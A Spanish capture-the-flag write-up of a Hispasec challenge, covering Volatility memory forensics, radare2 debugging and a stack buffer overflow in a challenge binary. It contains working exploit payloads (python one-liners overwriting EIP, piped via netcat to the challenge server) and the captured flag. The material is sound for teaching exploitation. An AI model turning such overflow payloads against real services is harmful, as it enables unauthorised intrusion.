

# Universo Marvel - Episodio 1 Parte 2

UAM CTF 2018-12-21

## El reto

<https://unaalmes.hispasec.com/challenges#EPISODIO 1 - 2ª PARTE>

Challenge

0 Solves



# EPISODIO 1 - 2ª PARTE

## 1000

Misión:

Tras haber conseguido la localización de la base secreta de Hydra hemos infiltrado a un soldado en la organización el cuál se encuentra realizando las pruebas de reclutamiento.

En la primera prueba no consigue resolver el formulario que le proponen, por lo que ha hecho una captura de la memoria RAM del equipo para ver si eres capaz de ayudarlo.

Deberás conseguir el programa y el servidor al que conecta para explotar el formulario y pasar al siguiente nivel.

Mucha suerte soldado.

Nick Furia.

Enlace de descarga del dumpeo de memoria: <https://drive.google.com/open?id=1Hbo8lqq9QPAJGNCRM4aE5jHcZhLuGTN>

Info: La flag tiene el formato UAM{md5}

TOP 3: 1. 2. 3.

View Hint

Flag

Submit

<https://drive.google.com/open?id=1Hbo8lqq9QPAJGNCRM4aE5jHcZhlLuGTN>

Bajo el zip y descomprimo: Contiene un archivo: image.raw. Como nos dice en la descripción, será un volcado de memoria, así que habrá que sacar volatility a pasear de nuevo :)

## Volatility

### Detección del profile con imageinfo

volatility -f image.raw imageinfo

```
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
      Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
      AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
      AS Layer2 : FileAddressSpace (/home/j0n3/Descargas/ctf-hispasec/2018-12-21-Marvel-parte-2/image.raw)
      PAE type : No PAE
      DTB : 0x187000L
      KDBG : 0xf80002c08070L
      Number of Processors : 1
      Image Type (Service Pack) : 0
      KPCR for CPU 0 : 0xfffff8002c09d00L
      KUSER_SHARED_DATA : 0xfffff7800000000L
      Image date and time : 2018-12-20 15:48:02 UTC+0000
      Image local date and time : 2018-12-20 16:48:02 +0100
```

Parece una imagen de windows y probaré con Win7SP1x64

### Listado de archivos interesantes con filescan

Extraigo la lista de archivos y lo guardo en filescan.txt

volatility -f image.raw --profile=Win7SP1x64 filescan > filescan.txt

Si busco por Desktop aparecen cosas interesantes:

grep Desktop filescan

```
0x00000001130f31a0 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x00000001285b4290 2 1 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop
0x000000013b897070 2 1 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop
0x000000013d440370 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\Links\Desktop.lnk
0x000000013d563f20 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\HydralarioHydra
0x000000013d672350 16 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk
0x000000013d936d10 15 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\netcat-1.11\nc64.exe
0x000000013dffc730 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\flag.txt
0x000000013e122360 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000013e124750 15 0 R--rwd \Device\HarddiskVolume1\Users\Public\Desktop\desktop.ini
0x000000013e181300 16 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000013e1a7360 15 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
0x000000013e1b0550 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000013e1b1600 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000013e1b750 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
0x000000013e1e5750 16 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
0x000000013e1e8530 15 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini
0x000000013e1ec210 16 0 R--rwd \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
0x000000013e237650 1 1 R--rw- \Device\HarddiskVolume1\Users\admin\Desktop\netcat-1.11
0x000000013e39dd10 2 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\netcat-1.11\nc64.exe
0x000000013e3f05f0 15 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\desktop.ini
0x000000013ec611d0 15 0 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop\netcat-1.11\nc.exe
0x000000013ef19950 2 1 R--rwd \Device\HarddiskVolume1\Users\admin\Desktop
0x000000013ff01300 16 0 R--rwd \Device\HarddiskVolume1\Users\admin\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini
```

Aquí podemos encontrar:

```
0x000000013dfcb730 \Device\HarddiskVolume1\Users\admin\Desktop\flag.txt
0x000000013d563f20 \Device\HarddiskVolume1\Users\admin\Desktop\HydralarioHydra
0x000000013e39dd10 \Device\HarddiskVolume1\Users\admin\Desktop\netcat-1.11\nc64.exe
```

## Extracción de los ficheros con dumpfiles

flag.txt:

```
volatility -f image.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000013dfcb730 -D .
```

HydralarioHydra:

```
volatility -f image.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000013d563f20 -D .
```

Renombro los archivos extraídos a HydralarioHydra y flag.txt.

## Procesos abiertos con pslist

```
volatility -f image.raw --profile=Win7SP1x64 pslist
```

Esto nos muestra que hay un programa en ejecución interesante:

```
0xfffffa800685b860 nc64.exe          1940  2304      2      72      1      0 2018-12-20 15:47:56 UTC+0000
```

## Análisis de conexiones con netscan

Como hemos visto, nc64.exe está en ejecución. Es un netcat así que estará conectado a algún sitio...

```
volatility -f image.raw --profile=Win7SP1x64 netscan > netscan.txt
```

```
grep nc64 netscan.txt
```

```
0x13d880880      TCPv4    172.16.233.139:49166    34.247.69.86:9009    ESTABLISHED    1940    nc64.exe
```

Probemos con netcat, a ver qué hay:

```
nc 34.247.69.86 9009
```

```
Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
```

Al escribir cualquier cosa:

```
Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
sdlakfklfad
¡Un verdadero agente no revela su edad! ¡Eres un farsante!
```

# Análisis del ejecutable HydralarioHydra

## Determinar el tipo

Al hacer un **file**:

HydralarioHydra: **ELF 32-bit LSB executable, Intel 80386**, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c03cee4c7f44b1055031fd53980bd22e47873ab1, not stripped

Estoy en linux. Le doy permisos de ejecución y lo lanzo:

```
chmod +x HydralarioHydra
./HydralarioHydra
```

```
Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
```

Vaya, parece el mismo ejecutable que tiene el server.

Vamos a probar a introducir algunas cosas. Al poner un número como 100:

```
Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
100

Edad: 100
¡Un verdadero agente no revela su edad! ¡Eres un farsante!%
```

Haciendo algunas pruebas para buscar límites llego a esta prueba, pasándole 70000:

```
Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
70000

Edad: 4464
¡Un verdadero agente no revela su edad! ¡Eres un farsante!%
```



Edad 4464?  
pero si le he puesto 70000!  
69000?

```
Bienvenido al sistema de reclutamiento de agentes.  
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!  
69000  
  
Edad: 3464  
¡Un verdadero agente no revela su edad! ¡Eres un farsante!%
```

hmm... vamos bajando... qué pasará cuando la edad llegue a 0?

69000 - 3464 = **65536**

Probemos...

```
Bienvenido al sistema de reclutamiento de agentes.  
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!  
65536  
  
Edad: 0  
Parece que tienes madera de agente... hagamos una ultima comprobacion...  
Cuentame el secreto y yo te contare el mio:
```

Vaya, parece que he encontrado el valor adecuado... Nos pide un secreto.

Al escribir cualquier cosa en este formulario el programa se cierra sin decir nada más. Pero vamos a buscar si existe algún tipo de overflow en el programa, así que vamos a meter una cadena larga:

```
Bienvenido al sistema de reclutamiento de agentes.  
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!  
65536  
  
Edad: 0  
Parece que tienes madera de agente... hagamos una ultima comprobacion...  
Cuentame el secreto y yo te contare el mio: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
[1] 18796 segmentation fault ./HydralarioHydra
```

Segmentation fault! Ahí lo tenemos. Probando diferente cantidad de caracteres vemos que a partir de 16 caracteres peta.

## Radare2

Iniciamos una sesión de debug con radare

r2 -d HydralarioHydra

Lo primero que hacemos es un análisis del ejecutable con el comando **aaa**

```
[0xf7f910b0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 18881 18881
18881
```

Podemos ver las strings con **iz**

```
[0x08414317]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000014d3 0x084144d3 9 10 (.rodata) ascii \nEdad: %d
001 0x000014e0 0x084144e0 45 46 (.rodata) ascii \nCuentame el secreto y yo te contare el mio:
002 0x00001511 0x08414511 14 15 (.rodata) ascii \nBuen trabajo!
003 0x00001520 0x08414520 8 9 (.rodata) ascii \nAgente!
004 0x0000152b 0x0841452b 8 9 (.rodata) ascii flag.txt
005 0x00001534 0x08414534 31 32 (.rodata) ascii \nError leyendo fichero flag.txt
006 0x00001554 0x08414554 115 117 (.rodata) utf8 \nBienvenido al sistema de reclutamiento de agentes.\n¡Veamos si tienes lo que
007 0x000015cc 0x084145cc 73 74 (.rodata) ascii \nParece que tienes madera de agente... hagamos una ultima comprobacion...
008 0x00001618 0x08414618 59 62 (.rodata) utf8 \n¡Un verdadero agente no revela su edad! ¡Eres un farsante! blocks=Basic Latin
```

Buen trabajo! agente!

Ese texto puede ser un bonito indicador del punto en el que podríamos encontrar la flag.

Ahora podemos mirar qué funciones tenemos con **afl**



```
[0xf7f910b0]> afl
0x080483ec    3 35      sym._init
0x08048420    1 6       sym.imp.getline
0x08048430    1 6       sym.imp.printf
0x08048440    1 6       sym.imp.fclose
0x08048450    1 6       sym.imp.strcpy
0x08048460    1 6       sym.imp.puts
0x08048470    1 6       sym.imp.exit
0x08048480    1 6       sym.imp.__libc_start_main
0x08048490    1 6       sym.imp.fopen
0x080484a0    1 6       sym.imp.__isoc99_scanf
0x080484b0    1 6       sub.__gmon_start_4b0
0x08414100    1 50      entry0
0x08414133    1 4       fcn.08414133
0x08414140    1 2       sym._dl_relocate_static_pie
0x08414150    1 4       sym.__x86.get_pc_thunk.bx
0x08414160    4 50  -> 41  sym.deregister_tm_clones
0x084141a0    4 58  -> 54  sym.register_tm_clones
0x084141e0    3 34  -> 31  sym.__do_global_dtors_aux
0x08414210    1 6       entry1.init
0x08414216    7 119      sym.check_age
0x0841428d    1 64      sym.tell_me_a_secret
0x084142cd    1 74      sym.a
0x08414317    5 177     sym.read_flag
0x084143c8    4 129     main
0x08414450    4 93      sym.__libc_csu_init
0x084144b0    1 2       sym.__libc_csu_fini
0x084144b4    1 20      sym._fini
```

Esto me parece interesante:

```
0x08414216    7 119      sym.check_age
0x0841428d    1 64      sym.tell_me_a_secret
0x084142cd    1 74      sym.a
0x08414317    5 177     sym.read_flag
```

voy a poner breakpoints en esas direcciones para ver por dónde va pasando.

```
[0xf7f030b0]> db 0x08414216
[0xf7f030b0]> db 0x0841428d
[0xf7f030b0]> db 0x084142cd
[0xf7f030b0]> db 0x08414317
[0xf7f030b0]> db
0x08414216 - 0x08414217 1 --x sw break enabled cmd="" cond="" name="0x08414216" mod
0x0841428d - 0x0841428e 1 --x sw break enabled cmd="" cond="" name="0x0841428d" mod
0x084142cd - 0x084142ce 1 --x sw break enabled cmd="" cond="" name="0x084142cd" mod
0x08414317 - 0x08414318 1 --x sw break enabled cmd="" cond="" name="0x08414317" mod
```

Vuelvo a ejecutar con **do** y continúo la ejecución con **dc** cada vez que para en un breakpoint, para ver por donde va pasando. Durante la ejecución se llama a `sym.read_flag`, `sym.tell_me_a_secret` y `sym.a`, por lo que parece que carga la flag.

Si miramos el contenido de esta función con **pd @ sym.read\_flag** vemos que hace un `fopen`, así que supongo que es lo que leerá `flag.txt`, como el nombre de la función sugiere.



```

[0x08414317]> pd @ sym.read_flag
/ (fcn) sym.read_flag 177
sym.read_flag ();
; var int local_10h @ ebp-0x18
; var int local_14h @ ebp-0x14
; var int local_10h @ ebp-0x10
; var int local_ch @ ebp-0xc
; var int local_4h @ ebp-0x4
; CALL XREF from main (0x84143e5)
0x08414317    push ebp
0x08414318    mov ebp, esp
0x0841431a    push ebx
0x0841431b    sub esp, 0x14
0x0841431e    call sym.__x86.get_pc_thunk.bx
0x08414323    add ebx, 0x1cdd
0x08414329    mov dword [local_14h], 0
0x08414330    mov dword [local_10h], 0
0x08414337    sub esp, 8
0x0841433a    lea eax, dword [ebx - 0x1ad7]
0x08414340    push eax
0x08414341    lea eax, dword [ebx - 0x1ad5]
0x08414347    push eax
0x08414348    call sym.imp.fopen                                ; file=fopen(const char *filename, const char *mode)
0x0841434d    add esp, 0x10
0x08414350    mov dword [local_ch], eax
0x08414353    cmp dword [local_ch], 0
0x08414357    jne 0x8414375
0x08414359    sub esp, 0xc
0x0841435c    lea eax, dword [ebx - 0x1acc]
0x08414362    push eax
0x08414363    call sym.imp.printf                                ; int printf(const char *format)
0x08414368    add esp, 0x10
0x0841436b    sub esp, 0xc
0x0841436e    push 1                                              ; 1
0x08414370    call sym.imp.exit                                  ; void exit(int status)
0x08414375    sub esp, 4
-> 0x08414378    push dword [local_ch]
0x0841437b    lea eax, dword [local_10h]
0x0841437e    push eax
0x0841437f    lea eax, dword [local_14h]
0x08414382    push eax
0x08414383    call sym.imp.getline
0x08414388    add esp, 0x10
0x0841438b    mov dword [local_10h], eax
0x0841438e    cmp dword [local_10h], -1
0x08414392    jne 0x841439e
0x08414394    sub esp, 0xc
0x08414397    push 1                                              ; 1
0x08414399    call sym.imp.exit                                  ; void exit(int status)
-> 0x0841439e    mov eax, dword [local_14h]
0x084143a1    sub esp, 8
0x084143a4    push eax
0x084143a5    mov eax, obj.flag                                ; 0x84160a0
0x084143ab    push eax
0x084143ac    call sym.imp.strcpy                                ; char *strcpy(char *dest, const char *src)
0x084143b1    add esp, 0x10

```

Miremos también los símbolos con **is**

Aquí vemos un objeto llamado **flag** de acceso global en la dirección **0x084160a0** y podríamos leerlo desde cualquier otra función.

```

071 0x000013c8 0x084143c8 GLOBAL FUNC 129 main
073 ----- 0x08416038 GLOBAL OBJ 0 __TMC_END
074 ----- 0x084160a0 GLOBAL OBJ 192 flag
075 0x000003ec 0x080483ec GLOBAL FUNC 0 _init
076 0x00001317 0x08414317 GLOBAL FUNC 177 read_flag

```

También podemos ver dónde se referencia este objeto usando **axt 0x084160a0**. En **sym.read\_flag**

```

[0xf7f980b0]> axt 0x084160a0
sym.read_flag 0x84143a5 [DATA] mov eax, obj.flag

```

Ahora voy a ver la función **sym.a**, que se ejecuta tras enviar la segunda parte, el secreto, con **pd @ sym.a**

```
(fcn) sym.a 74
sym.a (int arg_8h);
; var int local_4h @ ebp-0x4
; arg int arg_8h @ ebp+0x8
; UNKNOWN XREF from map.lib32_ld_2.28.so.rw (+0x41089)
0x084142cd b cc int3
0x084142ce 89e5 mov ebp, esp
0x084142d0 53 push ebx
0x084142d1 83ec04 sub esp, 4
0x084142d4 e877feffff call sym.__x86.get_pc_thunk.bx ;[1]
0x084142d9 81c3271d0000 add ebx, 0x1d27
0x084142df 83ec0c sub esp, 0xc
0x084142e2 8d8311e5ffff lea eax, dword [ebx - 0x1aef]
0x084142e8 50 push eax
0x084142e9 e87241c3ff call sym.imp.puts ;[2] ; int puts(const char *s)
0x084142ee 83c410 add esp, 0x10
0x084142f1 83ec0c sub esp, 0xc
0x084142f4 ff7508 push dword [arg_8h]
0x084142f7 e83441c3ff call sym.imp.printf ;[3] ; int printf(const char *format)
0x084142fc 83c410 add esp, 0x10
0x084142ff 83ec0c sub esp, 0xc
0x08414302 8d8320e5ffff lea eax, dword [ebx - 0x1ae0]
0x08414308 50 push eax
0x08414309 e82241c3ff call sym.imp.printf ;[3] ; int printf(const char *format)
0x0841430e 83c410 add esp, 0x10
0x08414311 90 nop
0x08414312 8b5dfc mov ebx, dword [local_4h]
0x08414315 c9 leave
0x08414316 c3 ret
```

Es una función que recibe un argumento **arg\_8h** y éste usa en la llamada al **call.sym.imp.printf**. Es posible que podamos llamar a esta función pasándole la dirección del objeto con la flag?

Vamos a ver qué sucede con el overflow.

Hago una ejecución hasta esta parte usando texto pequeño 'asd' como entrada. Al llegar al breakpoint de **sym.a** veo los registros con **dr** y hago otra ejecución desbordando el buffer con "A"\*24.

AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Los registros se han sobrescritos con 0x414141 y eso quiere decir que puedo apuntar eip donde quiera.

Todo lo anterior:

```

[0xf7f3e0b0]> dc

Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
65536

Edad: 0
Parece que tienes madera de agente... hagamos una ultima comprobacion...
Cuentame el secreto y yo te contare el mio: asd
[0xf7f3c089]> dr
eax = 0xffffffffda
ebx = 0x00000000
ecx = 0x00000000
edx = 0xf7f0889c
esi = 0xf7f05200
edi = 0x00000000
esp = 0xffff6f9c
ebp = 0xf7f07000
eip = 0xf7f3c089
eflags = 0x00000286
oeax = 0x000000fc
[0xf7f3c089]> ood
Wait event received by different pid 20816
Wait event received by different pid 20817
Process with PID 20818 started...
File dbg:///home/j0n3/Descargas/ctf-hispasec/2018-12-21-Marvel-parte-2/HydralarioHydra reopened in read-write mode
= attach 20818 20818
Unable to find filedescriptor 5
Unable to find filedescriptor 5
20818
[0xf7f780b0]> dc

Bienvenido al sistema de reclutamiento de agentes.
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!
65536

Edad: 0
Parece que tienes madera de agente... hagamos una ultima comprobacion...
Cuentame el secreto y yo te contare el mio: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
[0x41414141]> dr
eax = 0x00000001
ebx = 0x41414141
ecx = 0x00000001
edx = 0xf7f4289c
esi = 0xf7f41000
edi = 0xf7f41000
esp = 0xff9be970
ebp = 0x41414141
eip = 0x41414141
eflags = 0x00010286
oeax = 0xffffffff

```

Tras unas cuantas pruebas encuentro en "A"\*20 el punto donde puedo comenzar a escribir la dirección de memoria a la que apunte eip.

## Sobreescritura de eip

Con un pequeño python podemos pasarle la entrada al ejecutable e ir probando.

Hay que tener en cuenta que se espera la dirección en little endian, así que hay que pasarle la dirección **0x084142cd** de esta forma:

```
python -c 'print 65536; print "A"*20+"\xcd\x42\x41\x08" | ./HydralarioHydra'
```

```
Edad: 0
Parece que tienes madera de agente... hagamos una ultima comprobacion...
Cuéntame el secreto y yo te contare el mio:
Buen trabajo!
"👍👍"
```

Mirando esta imagen que encontré por ahí...

```
python -c 'print "65536"; print "A"*20+"\xcd\x42\x41\x08"+"B"*4+"\xa0\x60\x41\x08"' | ./HydralarioHydra
```

```
Bienvenido al sistema de reclutamiento de agentes.  
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!  
  
Edad: 0  
Parece que tienes madera de agente... hagamos una ultima comprobacion...  
Cuéntame el secreto y yo te contare el mio:  
Buen trabajo!  
UAM{EstaNoEsLaFlag}
```

Ahora sí que tenemos acceso a la flag. Ya solo queda lanzarlo en el server.

## Exploiting remoto

Es de suponer que la flag válida está allí y con nuestro payload podremos ver su contenido. Le pasamos las instrucciones al server con netcat.

```
python -c 'print 65536; print "A"*20+"\xcd\x42\x41\x08"+"A"*4+"\xa0\x60\x41\x08"' | nc 34.247.69.86 9009
```

```
$ python -c 'print 65536; print "A"*20+"\xcd\x42\x41\x08"+"A"*4+"\xa0\x60\x41\x08"' | nc 34.247.69.86 9009  
65536  
AAAAAAAAAAAAAAAAAAAAA0BA^HAAAA0`A^H  
  
Bienvenido al sistema de reclutamiento de agentes.  
¡Veamos si tienes lo que hay que tener para ser parte de Hydra!  
  
Edad: 0  
Parece que tienes madera de agente... hagamos una ultima comprobacion...  
Cuéntame el secreto y yo te contare el mio:  
Buen trabajo!  
UAM{f2d593fa4eb0cd1860ed80fb0f7236ca}
```

¡Y ahí está!

## Flag

UAM{f2d593fa4eb0cd1860ed80fb0f7236ca}

9º puesto. Parece que hay gente a la que le gusta el exploiting, ¿eh? ¡Enhorabuena al megacrack Oreos y a todos los demás que lo han conseguido!

Challenge	9 Solves	X
Name	Date	
oreos	2 days ago	
julianjm	a day ago	
asterixco	a day ago	
Bechma	21 hours ago	
socialkas	17 hours ago	
Juan Gonzalez	16 hours ago	
DarkEagle	12 hours ago	
nachinho3	an hour ago	
j0n3	12 minutes ago	

## Conclusión

Este ha sido mi primer reto de exploiting. No conocía radare2 y me ha costado bastante cogerlo, pero estoy contento porque he aprendido a explotar un buffer overflow usándolo, aunque he tenido que leer unos cuantos tutoriales de exploiting y tirar de manual de referencia de ensamblador. Esto del exploiting es más duro de lo que estoy acostumbrado y está claro que hay que seguir estudiando y aprendiendo. Muy chulo el reto :)

José Ángel Sánchez  
[@\\_j0n3](#)